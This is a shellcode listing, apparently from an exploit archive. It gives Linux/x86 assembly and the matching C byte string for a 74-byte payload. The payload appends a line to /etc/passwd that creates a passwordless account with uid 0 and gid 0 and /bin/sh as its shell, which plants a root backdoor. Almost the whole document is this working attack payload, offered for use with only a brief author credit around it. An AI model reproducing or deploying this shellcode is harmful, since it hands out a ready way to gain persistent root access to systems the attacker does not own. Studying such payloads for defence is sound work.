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Linux/x86 - Write to /etc/passwd with uid(0) + gid(0) Shellcode (74 bytes)
[/*************************************************************
This shellcode writes to /etc/passwd the string for the user
with uid&gid == 0;
written by dev0id dev0id@mail.ru (rootteam.void.ru)
#rus-sec /Efnet.org
greetz:
nerf
w00w00
*************************************************************
BITS 32
jmp short path
main:
pop esi
xor eax,eax
push eax
mov byte [esi+11],al
mov al,0x0a
push eax
push esi
mov al,5
push eax
int 0x80
mov edx,eax
push long 0x0a206873
push long 0x2f6e6962
push long 0x2f3a2f3a
push long 0x313a303a
push long 0x303a3a31
mov ebx,esp
mov al,20
push eax
push ebx
push edx
mov al,4
push eax
int 0x80
mov al,1
push eax
int 0x80
path:
call main
db "/etc/passwd#"
********************************************************************/
char shellcode[] =
"\xeb\x3c\x5e\x31\xc0\x50\x88\x46\x0b\xb0\x0a\x50\x56\xb0\x05"
"\x50\xcd\x80\x89\xc2\x68\x73\x68\x20\x0a\x68\x62\x69\x6e\x2f"
"\x68\x3a\x2f\x3a\x2f\x68\x3a\x30\x3a\x31\x68\x31\x3a\x3a\x30"
"\x89\xe3\xb0\x14\x50\x53\x52\xb0\x04\x50\xcd\x80\xb0\x01\x50"
"\xcd\x80\xe8\xbf\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73"
"\x73\x77\x64\x23";
# 0day.today [2024-09-29] #